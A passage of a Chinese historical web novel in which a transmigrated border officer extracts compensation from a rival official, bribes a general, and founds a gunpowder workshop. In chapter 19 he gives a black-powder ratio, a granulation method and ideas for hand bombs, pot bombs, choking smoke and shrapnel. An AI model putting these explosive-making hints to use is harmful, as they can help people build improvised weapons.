“你……”刘德福眼中血丝密布,额角青筋如蚯蚓般暴跳,牙关紧咬,却硬生生将翻腾的怒骂咽了回去——不能再给这刁钻凶狠的军汉递刀子。
秦猛杀气稍敛,冰冷的逻辑更显森然:“不过,令弟‘刘扒皮’恶名昭彰,恨其入骨者何止千百?天晓得是哪路义士替天行道?或是……”
他目光掠过刘德福灰败的脸,投向窗外凛冽的河谷深处,意有所指:“草原上**越境所为。”
“秦管队所言,不无道理!”李副将适时接口,语气斩钉截铁,“青阳县巡检司已有公验文书上报。
——‘疑为**游骑流窜劫掠所为’!边地凶险,死因不明之案历年皆有!杨缉捕,若无新证……”
他眼神凌厉,逐客之意已明。
杨诚心中雪亮:刘家不仅理亏在先,更无半分实证。
南河城寨态度强硬再明显不过。
纠缠下去,自己颜面尽失,恐引火烧身惹一身骚。
他僵硬地拱了拱手:“事情调查清,那我们…”
“慢着。”秦猛的声音不高,却如冰棱断裂,陡然截断话头。
杨诚刚抬起的脚僵在半空。
刘德福猛地抬头,浑浊的眼珠深处,一丝阴鸷之光疾闪而过——这伶牙俐齿的混账还想怎样?
李副将眉头微蹙,却并未出声。
堂内,所有人的目光瞬间聚焦秦猛。
秦猛转向李副将,抱拳朗声道:“谢李将军主持公道。然,当日刘扒皮为祸之旧怨,尚有尾结未了。斗胆恳请将军,再为秦某做个见证!”
“讲。”李副将沉声颔首。
秦猛目光如电,直刺刘德福眼中惊疑不定的深处,字字沉凝如冰:“刘扒皮横死,咎由自取,此不论。然,当日他强闯秦宅,劫掠之仇,未了!”
“些许钱粮、杂物掠便掠了,”他语气陡转切齿,恨意迸发,“那厮竟敢劫走我秦家祖传之宝——御赐腰带!更夺走我爹用性命换来的。
——五十亩军功田契!”
“什么?军功田契?”李副将的脸色变得铁青,双目圆瞪如铜铃,一股铁血煞气轰然爆发。
“大胆!”李副将的咆哮如平地惊雷。
“军功田,乃天子酬报疆场效死将士之血肉恩赏。国之根基,国法森严护佑。谁敢觊觎?
刘德才狗胆包天,竟敢染指——其罪当千刀万剐!”
他猛地扭头,厉声断喝亲兵:“速备文书,火漆封印。六百里加急,奏报帅司,一字不得有误。”
“刘德福。”李副将目光如两柄烧红的烙铁,狠狠烙在刘德福瞬间惨白如纸的脸上。
“听着:令弟所掠秦家一切财物、祖传御赐腰带,必须分毫无损、原样奉还!”
他“锵”一声,大掌重重按在腰间刀柄之上,杀气弥漫:“另依戍堡铁规,双倍赔偿毁损屋舍、殴伤秦管队及家眷的汤药费、养伤钱、误工之耗、惊吓之损,一分一厘不得少。”
“若有丝毫拖延、克扣……”李副将齿缝间挤出冰碴般的声音,“休怪李某——按军法行、事!”
“军法行事”四字,如同烧红的铁钳,狠狠夹在刘德福心脏上。一股腥甜直冲喉咙,又被他死命压下。
杨诚身体绷紧如拉满的弓弦,按刀的手背青筋毕露,指节因用力而惨白。
——强夺军功田
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此事一旦做实,便是泼天大祸。
在这天高皇帝远的军堡,一名统兵副将以“通敌谋夺军资”、“戕害有功将士”为名,将他这个文官连同一众衙役立斩当场,事后也难追责。
“将军息怒,请息雷霆之怒!”
杨诚咬牙跺脚,一个急转身,腰几乎弯到地上。
他脸上堆砌着十二分惶恐与无辜,“刘德才强占军功田之事……下官毫不知情。此来纯为公案,绝无私心牵涉才,”
他那双三角眼陡然射出刺骨寒光,死死钉住筛糠般的刘德福,声音陡然拔高,严厉得近乎喝斥。
“刘判官,听见将军钧令没有?军功田契乃国朝柱石,铁律如山。不容狡辩,令弟所作所为……哼!人虽死,债必偿,将军的话,你听清楚了没有?”他几乎吼出来,拼命使眼色。
“速速,将那劫掠之物、赔补之资,如数奉上。此刻,莫要再生枝节,记住了——来日方长!”
最后四字,几乎是从牙缝里重重挤出。
刘德福脸上血色彻底褪尽,惨白如刷了层石灰。冷汗浸透官袍后背,紧贴在冰凉粘腻的皮肉上。
绝境!身前李副将杀意盈室;杨诚翻脸比翻书快;院外刀枪倒影寒光刺目。
堂下秦猛,如同择人而噬的凶虎,目光冰冷、执拗、毫不掩饰那份贪婪,静待他刘家割肉放血。
砧板鱼肉!他毫不怀疑,此刻若敢吐半个“不”字,
下一秒,便可能血溅五步。
然而,数十年官场沉浮练就的本能,将那份几乎将他滔**火和恐惧,死死压入心底深处。
他缓缓抬起头,目光幽深如古井寒潭,死水般平静地迎上秦猛锐利的目光,声音竟异样地平稳:
“秦管队所言旧怨,皆系我那不成器的兄弟所为。刘某闻讯回来奔丧……的确,不知情。”
他先撇得干干净净,语速平缓。
“不过……”他话锋微顿,那对看似因“悲恸”而红肿的眼皮下,一丝刻毒的寒芒稍纵即逝。
“既然李将军在此主持,军功田契关乎国法重器,刘某……认赔。”
他目光平静地扫过秦猛,仿佛在清点一笔无关痛痒的账目:“开个数。”
“五百两银子。一千石粮。秦家御赐腰带,五十亩军功田契。”秦猛目光如铁,分毫不让。这送上门挨宰的肥羊,不割一刀,天理难容。
“我秦家的东西不是那么好抢的。原物原样奉还。”
“好。”刘德福回答得干脆利落,毫无犹豫。反正东西不是他出,割的不是自己心头的肉。
“两日后,南河镇运抵堡外。刘某——告辞。”
刘德福袍袖一拂,白绫飘荡,他转身就走,步履平稳得不似刚刚经历重创,背影挺直如初入时。
“走!”冰冷如铁的命令丢向杨诚及缉捕,他当先迈出堂屋门槛,再未回头kan秦猛一眼。
“刘大人走好。军务繁杂,恕不远送。”
秦猛抱拳扬声,脸上笑意盎然,眼底却寒芒如冰。
——咬人的毒蛇,从不张牙舞爪!
这老狐狸的反常平静,才是剧毒蛰伏的征兆!
第18章 这事儿没完
午后的暖阳被乌云吞没,铅灰色的云层沉沉地压在南河堡上空,仿佛随时要砸落下来。
堡外,朔风如刀,卷起漫天枯草与黄沙冲击林带。
刘德福猛地勒住缰绳,刺骨的寒风拼命灌进衣领。似乎将他混沌的头脑冻得清醒了几分。却也将那团冰冷的恨意淬炼得更加尖锐。
杨诚策马紧赶几步,与他并行,声音压得极低,心有余悸地说道:“德福兄…非是杨某首鼠两……”
“杨兄不必多言。”刘德福粗暴地挥手,打断了他,手背上青筋暴起,“其中凶险,我岂能不知?”
“你明白就好!”杨诚长舒一口气,脸上惊魂未定。
“方才……边军那些丘八,杀气几乎要溢出来!城寨,乃至帅司,必定全力护短。我们…证据太虚了!”
刘德福缓缓转过身,目光像淬了毒的刀子,刮过堡门外正挥汗修补围墙的戍卒民壮——那些被风沙刻蚀、粗糙如砾石的脸庞。
最终,他的视线如同两道无形的铁钉,狠狠凿穿堡墙,死死钉在秦猛家宅的方向。
刘德福死寂的眼眸深处,那滔天的怨毒与凶戾再也无法压制,如同被掘开的千年古墓,喷涌出蚀骨的毒瘴。
他开口时,声音嘶哑得如同砂纸摩擦,却带着一种令人毛骨悚然的、近乎癫狂的笃定:
“证据?”
刘德福喉咙里发出一声短促、干涩的冷笑,像夜枭啼鸣,“杨兄,你问我证据?我拿不出来。但我有这——”
他猛地捶了一下自己的胸口:“我有直觉,一种恨,恨得我骨髓里都像有虫子在啃噬!”
刘德福死死盯着衙署方向,每一个字都像是从九幽黄泉深处挤出:“以前只是疑影重重。
现在……我确信无疑,就是里面那个姓秦的匹夫,亲手捏断了我弟弟的喉咙,灭了他满门。只有他有这种胆量,只有他有这种动机。”
杨诚被他话语中透出的阴森寒意激得打了个哆嗦,皱眉道:“直觉?……此人当夜连杀两拨**,许多人皆可作证,不在场证据确凿。
难道他还能分身**不成?德福兄,若无如山铁证,帅司岂会动他分毫?南河城寨上下也……”
“哼!那我管不着,刘某认定是他,那便是他。那姓秦的武夫嚣张蛮横,我又岂能饶他?”
刘德福双目泛红,干裂的嘴唇扭曲着,吐出的话语如同淬了蛇毒的冰棱:“明路走不通?那……就走暗道!”
“我堂堂州府漕运判官,为官二十年,交友广泛,手握漕粮转运之权,还碾不死一个边塞武夫?”
他布满血丝的眼球艰难转动,扫过眼前这座初具规模、蒸腾着生机的军堡。
那热火朝天的景象,落在他眼中,却只激起刻骨的恨意。
“这穷乡僻壤,化外凶地……亡命徒、流寇、马匪、甚至……”刘德福顿了顿,从牙缝里挤出两个字,“……**……”
“为了金银财帛,这些家伙什么事……做不出?”
寒风更烈,吹得他腰间那条刺眼的白绫猎猎狂舞,如同招魂的幡。
他最后一眼瞥向这座在秦猛手中“复苏”的堡垒,眼神阴鸷得如同在看一座注定倾覆的乱葬岗。
“刘兄,慎言!”杨诚脸色瞬间煞白,急声低喝,“祸从口出,此事若是传出,后果不堪设想。”
“呵,随口一说罢了。”刘德福扯出难看的笑容,闭口不言。心中却已毒计翻腾,杀心炽烈。
“哼,姓秦的想安心经营这鬼地方?想把它变成铜墙铁壁?想以此抵御…**?呵呵呵……”
一串令人脊背发凉的、毒蛇吐信般的低沉笑声从他喉咙深处滚出。
他不再看杨诚,猛地一夹马腹,决绝地冲入漫天风沙之中,只留下一句在风中飘散的诅咒:
“老子——偏不让!这事…不死不休。”
……
“刘老狗,明着来不行,要来阴的了?”
秦家院内,秦猛脸上挂着和煦的笑容,目送刘德福、杨诚一行衙役的身影消失在风沙尽头。
他眼底深处,却寒光如冰刃闪烁。
秦猛粗糙的手指在袖中紧握成拳,骨节因用力而发出咯咯声响。此刻,胸中的杀意澎湃。
“斩草除根”这个念头如毒蛇般冒出。
刘德福那张看似忠厚实则阴鸷的脸孔就在眼前,这种人之前那种害怕的样子有可能是伪装。
此人一计不成,必有后招。
留着他,后患无穷,如同一把悬在头顶的利刃。
带人追上去,就在这荒郊野外……结果了他。那个姓杨的也不是什么好鸟,一并做掉得了。
念头一起,秦猛眼中厉芒暴涨,但几乎在同时,这火焰刚腾起便被冰冷的理智洪流瞬间浇灭。
“不行!”秦猛在心里掐灭那个念头。
大周王朝虽然衰弱,但瘦死的骆驼比马大。若是光天化日之下截杀朝廷命官,形同**。
莫说这小小的南河堡,便是十个秦猛捆在一起,此刻也承受不起大周朝廷碾下的雷霆之怒。
“我……还是太弱了。时机远未成熟!”
秦猛深吸一口带着土腥与寒意的空气,强行将心头的戾气压入深渊。转向身旁相送的李副将。
“李将军,劳您亲自走这一趟,秦猛惶恐。之前直言相助下属,末将感激不尽,必有厚报。”
秦猛抱拳行礼,语气沉稳如山,甚至带上恰到好处的恭谦。
李副将闻言回礼,脸上是官场惯有的笑意:“秦管队客气了,不过分内之事,且实话实说。这些地方官员安逸久了,胆子是越来越大。
魏将军临行前还特意嘱咐,要我来看看你这军堡的气象,果然井然有序,军容整肃啊!”
他目光扫过校场上操练的士兵,眼中掠过一丝真实的讶异。这些不久前还是流民农夫的人,短短时日,竟已有了几分令行禁止的雏形。
两人并肩又行几步,寒暄着无关痛痒的话题,默契地落在其他人后面。
就在一个转角僻静处,秦猛动作行云流水般自然,借着拱手作别的姿势,手中一物悄然抛出,精准地落入李副将遍布老茧的手掌之中。
入手沉甸甸,温润而
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带着金属特有的凉意。李副将心头猛地一跳,多年行伍经验让他瞬间了然。
——是一块成色十足、分量压手的金元宝!掂量之下,足有五两之重。
按当下金贵银贱的官价(约1:10),这便是五十两雪花白银。足够一个普通人家几年用度。
李副将不动声色地收起金元宝,脸上的笑容真挚了七分,如同见了故交,那股官架子荡然无存。
他脚步微顿,凑近秦猛,声音压得如同耳语,充满了“自己人”的推心置腹:
“秦老弟,”他连称呼都变了:“老哥多句嘴。那刘德福……啧啧,我听说过,不仅是科场熬出来的文官,更是在漕运这油锅里滚了多年的老泥鳅,心眼子比那莲藕的窟窿眼还多!”
“哦?老哥,那刘判官……”秦猛顺杆而上,眼神“关切”。
“何止不简单?”李副将冷笑,语带深意,“执掌漕运转运,经手的商队、军饷如过江之鲫,屁股底下能干净?
那也是个心黑手狠的主儿。地方官府与咱们边军向来不睦。
今日他来,无非是借机寻衅,想给你栽个罪名,结果反丢了脸面。此人睚眦必报,断不会善罢甘休。”
他顿了顿,声音更低,字字如锤:“大周律法在上,没有铁证,谁也动不了你。不过……明枪易躲,暗箭难防啊!老弟,千万…要小心。”
这番话,直白无误地点明了刘德福会暗中使坏。
秦猛心中一凛,面上却愈发感激,重重抱拳:“李将军金玉良言,恩同再造。末将字字刻骨,绝不敢忘!”
目送李副将心满意足打马远去,秦猛脸上的笑容瞬间冰封,目光锐利如鹰隼,穿透漫天风沙。
“刘德福啊刘德福,你不疯魔,我怎有机会……斩草除根?”秦猛低声呢喃,杀意凝而不散。
转身回寨,秦猛立刻召集张富贵、李山、刘铁柱等骨干,连燧堡的秦大壮也被火速请来。
修缮过半的衙署,议事房内,气氛凝重如铁。
秦猛将李副将的话稍加转述,并稍微渲染其危害性。着重强调地方官府与边军嫌隙不睦,以及刘德福此行栽赃不成、必施暗算的意图。
“这该死的刘扒皮,**还要作妖!”李山、张富贵等人闻言,无不怒骂出声,杀气腾腾。
“好了。”秦猛豁然起身,声音沉冷如铁,下达军令:
“张富贵,轮值操练,强度加倍。专练结阵、守寨、夜战。士卒弓不离手,甲不离身。”
“李山,领巡逻队,人数加倍。频次,路径更改。堡墙哨塔,一刻不得离人,给我把眼睛瞪圆了!”
“刘铁柱,你亲自带人,即刻通传全堡新老住户:无事严禁出堡!必要出行,必须结伴,提前申报。提防可疑生人,有异,立报!”
三人轰然领命:“遵令!”
“秦队将。”秦猛目光转向秦大壮,“你的担子更重。界河水流急剧减缓,这是冰冻的征兆。河对岸的监视,给我钉**,严防**突袭。”
“是!”秦大壮瓮声应诺,声震屋瓦。
第19章 火器作坊
紧急布防的命令刚下完,秦猛一刻没歇着。
他心里清楚:光靠高墙堡垒挡不住明枪暗箭。
得有扎实的根基、凌厉的手段,更得发挥他穿越者的优势,攥着几手别人不知道的**锏。
秦猛快步穿过热闹的军堡,路过火星乱飞的铁匠铺、锯声刺耳的木工坊都没停。
他径直走向堡里最偏僻、味儿最冲的独立小院。
这是他力排众议划出来的——火器坊!
小院及周边区域总飘着浓烈呛人的硝磺味,时不时传来闷响或“嗤啦”声,还有股焦糊味。
这吓人的动静,让堡民都绕着走,这儿差不多成了“禁地”。
掌管火器坊的是范良,是秦猛从流民里挖出来的宝贝。
四十来岁的他矮瘦但精神,脾气像倔驴一样犟。
在凉州爆竹作坊干了二十年,他对硝、硫、炭的把控没话说,花炮、响炮、号炮都做得极好。
可就因为太较真,非要用足料,得罪了监工丢了饭碗。
后来**入境,家里人没了,房子也毁了,他一路逃到南河堡。
秦猛查户口时发现他会做烟花爆竹,简直如获至宝。
秦猛当过兵,还是武警教官,懂些**枪炮的道理,却从没自己配过**。
眼下有这么一个能人。
他立刻上门,边喝酒边聊天,摸清了范良的本事和遭遇。
更知道这世上虽有**,但却只用来做烟花爆竹,军用**因为威力小,一直不受重视。
秦猛看重的正是范良那股“不惜本、求真效”的匠人劲儿,给了他好待遇。
火器坊,由此而生。
秦猛进院时,正看见范良弓着背,对着一个冒青烟的小瓦罐皱眉头。
他脏乎乎的手指小心拨弄着罐底的黑粉,专注得像在伺候稀世珍宝。
“范师傅,进展怎么样?”秦猛问。
范良头也不抬,瓮声瓮气的,带着股较真的执拗:“大人给的‘七五硝、十硫、十五炭’方子试过了。
确实劲头足、扬尘少,好是好,可这料不行!
硫磺像土渣似的斑驳,硝霜也没提纯干净,杂质多如沙子!
就这玩意儿,堆再多也炸不开石头。”
他捏起一小撮**,干脆地点燃,用木板盖住。
“嗤——轰!”
一团比普通爆竹猛得多的火球炸开,带着呛得人咳嗽的浓烟,那块木板都被炸出了几道裂口。
“您听听、看看,响动是大了点,但离‘开山裂石’差远了。
对付披甲的**?除非抱着桶冲上去,可这又成不了您说的那种随手扔、见血封喉的暗器啊!”
范良自言自语,狠狠抹了把脸,顿时成了“花脸猫”,眉宇间全是不甘和烦躁。
“别急,一步一步来,根基得打牢,慢工出细活。”
秦猛沉声安抚,又提醒道:“你刚才那举动太危险,记住,人比**金贵。”
他话锋一转,切入正题:“粉末状的**压实了像浆糊,烧起来拖拖拉拉,得让它‘透透气’!”
“透气?”范良浑浊的眼睛猛地一亮。
“对,就像沙堆!”秦猛蹲下,随手捏起地上一把土。
“细沙容易沉,灌水就成泥;但粗砂呢?
石子堆在一起有空隙,风一吹火一烧,噌噌就烧透了。
**的‘粗砂’就是颗粒,颗粒之间留缝,气流能跑,一烧起来就是燎原之势。”
“那**威力不就大了?”
“颗…粒…化?”范良喃喃自语,呼吸突然变粗,眼里闪着精光。
他猛地抬头,目光热得像要把秦猛点燃:“大人…您说的有道理,难道您知道这法子?”
“当然!”秦猛点头,话锋一转,“我可以告诉你。”
“真的?”范良喜出望外。
“但是我有条件,你要答应三件事。”
“大人请讲!”范良已经迫不及待,几乎要扑上来。
“好。”秦猛竖起食指。
“其一:颗粒**的研制过程、配方变动、威力数据,须详实记录,无一字遗漏,交我亲阅!”
“已在笔录!”范良指向墙角一沓沾满**灰的草纸。
“其二:若成,此法立即成为军器坊秘技!由你掌总,不得藏私,大批量产,入军御敌!”
“大人传授,范良不敢贪天之功!”范良毫无迟疑。
“其三!”秦猛神色陡然冷峻如冰,眼神锐利如刀,死死盯在范良脸上,“一旦此**成,威力非寻常可比。实验引信必须十倍于常。
另外试验之时,你本人,必须给我退到十丈开外。我会派护卫监督,性命攸关,不得有误!”
范良浑身一震,眼眶蓦地一红,张了张嘴,只化作一声铿锵有力的:“范某……铭记于心。”
秦猛这才展颜,凑近压低声音:“颗粒之道,说难也不难。取精粉,喷细雾水汽,润泽约莫百分之五,搅匀压成薄饼,阴干之后……敲碎筛匀即可。”
“就…就这般?”范良眼珠子都快瞪出来了,一脸难以置信。
“知易行难,分寸靠你拿捏。”秦猛拍拍他肩膀。
他继续抛出新思路,“若求更胜一筹
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,可试掺些许极细金属粉末亮粉,或造空心装药增大内爆冲击……
更可将不同颗粒大小**混配,点燃瞬间能炸出惊雷之势。此等配方,可用手臂粗的竹筒装填,配上引信,专供那随手可掷的‘霹雳雷’。”
“而防守所用的大杀器。”秦猛声音更低,透着森然,“装填陶罐即可,分量越大越好。
另有烟浓、味烈者,或可炼成那刺目呛喉、遮天蔽日的毒烟瘴。
至于添铁砂碎刃以增杀戮……这些,我只是提及li皆可由你大胆尝试,摸索,小心记录。
所需材料、器物,只管报来!银钱,我来想办法。事成之日,重赏翻倍。功在军堡,利在千秋。你范良大师之名也会被后人铭记!”
“大人!”范良激动得浑身颤抖,猛地抱拳,声音嘶哑却无比坚毅,“哟这把骨头,就全豁在这**堆里了。只是……这动静、气味……”
秦猛一指堡外:“窑厂荒僻,配好药后,移至附近试验。务必……谨记,安全第一!”
“是!”范良激动应诺。
“对了大人,您要的‘响雷炮’做了些,响声很足。”
范良一拍脑袋,跳起来,领着秦猛进了阴凉的内室。
墙角放着一捆用空心麻杆灌药、硝土封口、**麻线捻子串联的“大号鞭炮”。
秦猛舍不得用整串,只取了一小截“麻杆雷”,点燃引线用力扔出去——
“轰!”空中炸开,声音像布帛撕裂,熟悉的刺鼻硝磺味弥漫开来。
“好,这东西,一定能送**上路。”秦猛眼里闪过一丝喜色。
他又在院里转了一圈,查看了研磨硝石的石碾、筛滤硫磺的细箩,还有堆放整齐的陶罐、竹筒。
他时不时俯身查看材料成色,询问制作进度。
范良跟在一旁,事无巨细地汇报着。
从硝石提纯的损耗到木炭烧制的火候,连哪批材料杂质多都一一说明,语气里再没了先前的懊恼,只剩对新法子的期待。
“材料不足随时上报,人手不够我再调派,你只管专心研制。”秦猛拍板道,“记住——
以人身安全第一,进度第二,我要的是能稳妥杀敌的利器,不是急出来的隐患。”
“大人放心!”范良胸脯拍得震天响。
“等有了颗粒化的法子,不出十天,定给大人拿出像样的东西来。”
秦猛看着他眼里燃起来的光,嘴角露出一丝笑意。
他知道,这火器作坊有这位坐镇,用不了多久,产出的不仅是**,更是军堡抵御外敌的底气。
第20章 木工坊提案
堡内,木匠坊里一片热闹。
“哧啦——刺啦——”
锯木头的锐响、刨刀削木料的闷声、凿子敲钉子的撞击声混在一起,震得人耳朵嗡嗡响。
鲁明是堡里手艺最好的木匠。因为活儿干得出色,秦猛让他当了工头,管着整个木匠坊的事。
这位鲁师傅的手艺真没话说。他家几代人都是木匠,祖上还给宫里做过许多精巧玩意儿。
他做的木桶装水三年都不漏,做的机关榫卯细得比头发丝还密,几十年都拆不开。后来手艺遭同行嫉妒,家道中落,才流落到这边关。
鲁师傅不光手艺好,做事还特别细心。在他的打理下,木匠坊总是井井有条,忙而不乱。
七八个木匠师傅带着学徒各自忙碌着。地上铺满了刚刨出来的刨花,带着竹子和松脂的清香。
成捆的箭杆很快就堆了起来。
韧性极好的硬木在师傅们熟练的操作下,蒙上浸过油脂的牛皮,变成一面面坚固的圆盾。
角落里,特意选的弓坯在烟雾中熏烤、弯曲定型,老师傅正指点几个眼神亮、指节粗的青年,教他们怎么把泡得正好的牛筋精准上弓弦。
最显眼的是,几副正在做的龙骨,结构精巧。用水推动的小轮毂正在鲁明亲自盯着拼接。
“这里的榫卯必须咬紧!”鲁明沉声指点,手指敲着关键的接口。
“这不是普通东西,开春引水的命脉全靠这几根梁柱!”
……
秦猛带着一身火器工坊特有的硫硝味,走进了这片满是木料和汗水的地方。
他心里清楚,**这东西是根基,但能填饱肚子的钱粮才是真正的命脉。
雪花盐已经有了着落,蒸馏酒这既能换钱又能疗伤的好东西,必须赶紧做出蒸馏装置来。
他扫了一眼工坊,目光落在那位约莫五十岁、脸上刻着风霜却满眼专注的老匠人身上。
鲁明确实是块真金子!他的手艺在流民里就像珍珠一样珍贵,让木匠坊做出来的制式硬弓,圆盾等,比城寨发的硬弓还要好上一些。
此刻,鲁师傅那双布满老茧、却灵巧得很的手,正专注地捏着几块薄如柳叶的榫卯木片。
那神情,像将军在沙盘上布阵般认真。
“大人。”隔壁的李铁匠带着一身煤灰味走了过来。
秦猛让无关的人走开,只留下几位核心的老师傅,目光锐利地说:“诸位,跟我做个新物件。”
“要一个特别的大木桶,必须严丝合缝。上面开个气孔,接一根长长的细管,拐几个弯最后接到凉水槽里……要的就是把蒸腾的‘气’变成水。”
他一边说,一边拿起一根断木在满是木屑的地上画了起来。简单的线条却把蒸馏的原理说得明明白白——热气升起来,遇到冷就变成水珠。
“这……这么神奇?”鲁明的眼神从困惑变成震惊,最后像看到稀世珍宝一样发亮。
“妙,妙啊!蒸云化水的道理还能这么用?”
鲁明拍着手叫好,但很快皱起眉头,有些犹豫地说:“不过大人,这密封的关卡太难了。
尤其是那弯管接口的地方,不光要密封好,管子的弧度还得特别精准,不然水汽不通畅,可能会回流爆裂……做起来不容易,得要李老弟的铜铁手艺帮忙。”
“鲁师傅尽管吩咐。”李铁匠立刻拍着胸脯保证:“我的炉子随时听大人和鲁大师吩咐。”
“有李师傅帮忙,就有三成把握了。”鲁明眼里又有压力又有兴奋,像在锻打一块硬钢。
秦猛笑着安抚大家,声音沉稳有力,盖过了作坊的嘈杂:“鲁师傅,放手去做,就当成你那些精巧的榫卯活计来琢磨,完善,别灰心。”
“别担心浪费材料,只要能成,本官重重有赏。参与的匠人,当场就赏十两纹银,管够饭。”
“十……十两?!”周围响起一片抽气声。几个正在拉锯的学徒手一抖,锯子差点锯到腿上。
连鲁明、李铁匠这种见过些世面的,也瞪大了眼睛。
就别说,几天前还是快饿死的人,现在不仅吃饱穿暖,只要干好活,居然能拿到额外赏银?
秦猛要的就是这股干劲。他看着一张张涨红的脸,像点燃柴火的火种一样说:“在大伙努力下,军堡壮大,以后这种精巧的活儿只会更多。
木工、锻造,甚至屯田水利,手艺好的人都能得重赏!等军堡升级成军寨,功劳大的人——获得职位,甚至封官入署,很快就能实现!”
职位?封…官?
整个工坊瞬间安静下来,很快爆发出粗重的喘息声。
希望的火苗一旦点燃,连卑微的尘埃都被照得滚烫。
“大人。”鲁明声音嘶哑,却字字铿锵有力:“小人这把老骨头豁出去了,一定做得滴水不漏,不然提头来见。”
“铁匠坊绝不含糊!肯定打出最好的东西!”李铁匠不甘落后,激动得头发都竖起来了。
“大人放心,我们拼了!”几个老师傅和各自
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的学徒热血的应和声,几乎盖过了工具的撞击声。
叮叮当当的凿刻声一下子变得又猛又有劲儿,仿佛凿的不是木头,是通往官袍的阶梯。
秦猛看着这群因为有了盼头而干劲十足的手艺人,嘴角露出一丝少见的、带着温度的笑容。
三百六十行不分贵贱,关键是要有上升的路子。
秦猛拿起纸笔,又仔细画起草图,反复琢磨关键的地方。就在他要画完蛇管的弯曲度时。
一个苍老又急促的声音穿过喧嚣传了过来:“秦管队,秦管队,秦管队……老头子有急事!”
保长王槐拄着他那根油光锃亮的拐杖,规矩地站在坊外,探头张望,干瘦的脸上满是焦急。
又来了……秦猛按了按发胀的太阳穴。这倔老头,古稀高龄,怎么劝说都无法让他改口。
他交代鲁明和李铁匠等人后,便向工坊外走去。
“老人家,说了不用这么称呼……”
“规矩不能破。”王老保长满脸固执,腰板挺得笔直:“我身为保长,更得带头守规矩。”
秦猛懒得跟他争,问道:“什么事,这么急?”
“青阳县衙的‘催命鬼’来了!”王槐压低声音,浑浊的眼睛直勾勾盯着秦猛。
“谁?”秦猛猛地抬头,眼皮跳了一下,有点疑惑。
“就是那个专门来咱们军堡收‘买命钱’的胥吏,张琨。”王槐说出这个名字时,一阵咬牙。
张琨?
这两个字,像烧红的烙铁烫在秦猛脑子里。穿越过来那天,未婚妻和小妹欲自尽的惨状、苛捐杂税,那混蛋临走时丢下的冰冷威胁……
画面一下子全涌了上来。
“哼!他…居然还敢来?”秦猛从牙缝里挤出声。抑制不住的杀意令周围的温度都好像降了几分。
他腰间的佩刀仿佛感受到主人的怒意,没碰,没风却自己动了起来,发出低沉的嗡鸣。
“猛子,你给我稳住。”王槐脸色一变,一步上前,枯瘦的手像铁钳一样抓住秦猛结实的胳膊。
这老油条太清楚秦猛的手段了,那个青阳县巡检就是例子。
他浑浊的眼睛里闪着警告的光:“你现在是当官的,不是山沟里的野路子,必须沉住气。
再恨,也得笑着脸,再怒,也不能先拔刀。话到嘴边先想三遍,一个字都不能让人抓住把柄!”
他一连串低吼,说的全是用血泪换来的保命道理:“你跟你爹一个样,千万不能走他的老路。”
第21章 老狐狸,小狐狸
老保长王槐活过了七十三个年头,年轻时是十里八乡有名的俊后生,还正经读过几年私塾,也曾向往过蟾宫折桂、指点江山的风光。
奈何,命运弄人。
恰逢草原部落蠢蠢欲动,北疆烽火渐起。他那点秀才心思便只能和着黄土,一同埋在了边陲。
一辈子大风大浪,见过**烧杀劫掠如蝗虫过境,也经历过无数场大大小小的冲突血洗。
堪称人老成精,那双看似浑浊的老眼,实则在风霜刀剑中淬炼得毒辣无比,洞悉世事人心。
秦猛深吸一口气,强行压下眼底翻腾的杀意,看着这张布满皱纹、写满底层生存智慧的老脸。像看到了前世早逝的爷爷,眼神柔和了许多。
“老爷子放心,当兵久了,容易热血上头。另外这恨意…非是我的本意,是这身体的执念,烙得太深了。这种弊端很致命,我尽量控制。”
“古人云,为官者,当不以物喜,不以己悲。”这句话但刚出口,秦猛就后悔了。在这个时代,眼前这个精明的老头,有露馅的可能。
果然,王槐愣了愣,他的眉向上挑起,浑浊的老眼里闪过一丝错愕和玩味:“这句话好有哲理,哪个古人说的?为何老夫从未听说过?”
“是你说的?”他夸张地掏了掏耳朵,上下打量着秦猛,“哎哟喂!咱们的秦管队开窍才几天功夫?
这就跟老夫拽上文了?可是稀罕事儿。怎么,前几日刚砍了个巡检,今日又琢磨如何为官?”
秦猛自然不愿跟这老狐狸做口舌之争,他顺势岔开话题,抬手指了指天际翻滚的厚重铅云。
“老爷子,看看这云,黑中泛灰,这是要卷地皮的架势。依我看,大雪不远,界河一冻,河面便成了坦途,对面狗子怕是按捺不住了。”
“下雪好啊!”王槐也收了笑意,神情肃穆了几分,“瑞雪兆丰年,能冻死不少地里蚜蝗虫。也是刀兵再起之时,军堡要提前准备起来了。”
他顿了顿,枯树皮般的脸上重新浮起一丝狡黠:“倒是你这傻小子,开窍后不仅刀快,眼光也毒,连天象都懂几分。比大壮,牛蛋强。”
他话锋一转,轻轻拍了下自己布满沟壑的脑门,“瞧我这记性,光顾着打趣,正事差点忘了。
那个姓张的,这次破天荒不是来催命索税的……啧啧,居然带了沉甸甸几大车的厚礼,态度恭敬,指名道姓要‘拜访’你这位新管队。”
“送礼?黄鼠狼给鸡拜年!”
秦猛冷笑一声,一点都没动心,“让他等着,你这么急着找我,肯定还有更要紧的事吧?”
秦猛笑容笃定,把精盐提炼步骤详细记录,连带盐坊那边,他之前可是托付给这老狐狸了。
王槐左右看了看,声音压得更低,像地下接头一样:“是盐的价钱,我扒着算盘算了又算。”
他掰着满是老茧的手指头,压着嗓子说道:“粗盐熬出精细的雪花盐,十斤大约能出五六斤。
费柴火?咱这穷地方啥都缺,就不缺那些没人要的枯枝烂柴!工钱按你定的,月给两贯,已是顶好的酬劳。
老头子琢磨着,这都不是大头。关键是——这雪花盐,卖多少钱?”
王槐浑浊的老眼中此刻爆发出无比炙热的光芒:“市面上那劳什子‘玉华盐’都被炒成天价了。
咱们这盐,老头子尝过,也找人看过,成色雪白透亮,杂质极少,比那‘玉华盐’品质更好。这价格……可不能贱卖了。那是糟蹋好东西。”
秦猛微微皱眉,指尖无意时敲击刀把子:“我本打算走大众路线,薄利多销,惠及百……”
“慢着!”王槐立刻打断他,一副“你太年轻不懂行情”的表情,唾沫星子又开始活跃起来。
“管队你这想法是好,可做生意是有讲究的。老头子斗胆建议,咱们得走两条路,高、低分开。”
“一部分就在咱们周边,卖给那些缺盐缺得眼珠子都绿了的穷堡寨、苦村子。”王槐手指朝东北方向几处军堡点去。
“便宜点卖,能让他们吃得起,咱们也能薄利多销。这不仅获利,更能收拢人心,让他们知道,跟着咱小南河堡,有肉吃,有盐吃。”
“另一部分,”王槐压低声音,眼神朝南边青阳县城方向瞟了一眼,“用精美瓷罐装着,走高端。
就卖给那个隔三岔五给咱堡里送些平价粮食、还时常送肥猪来犒劳军汉的‘常记’粮行。
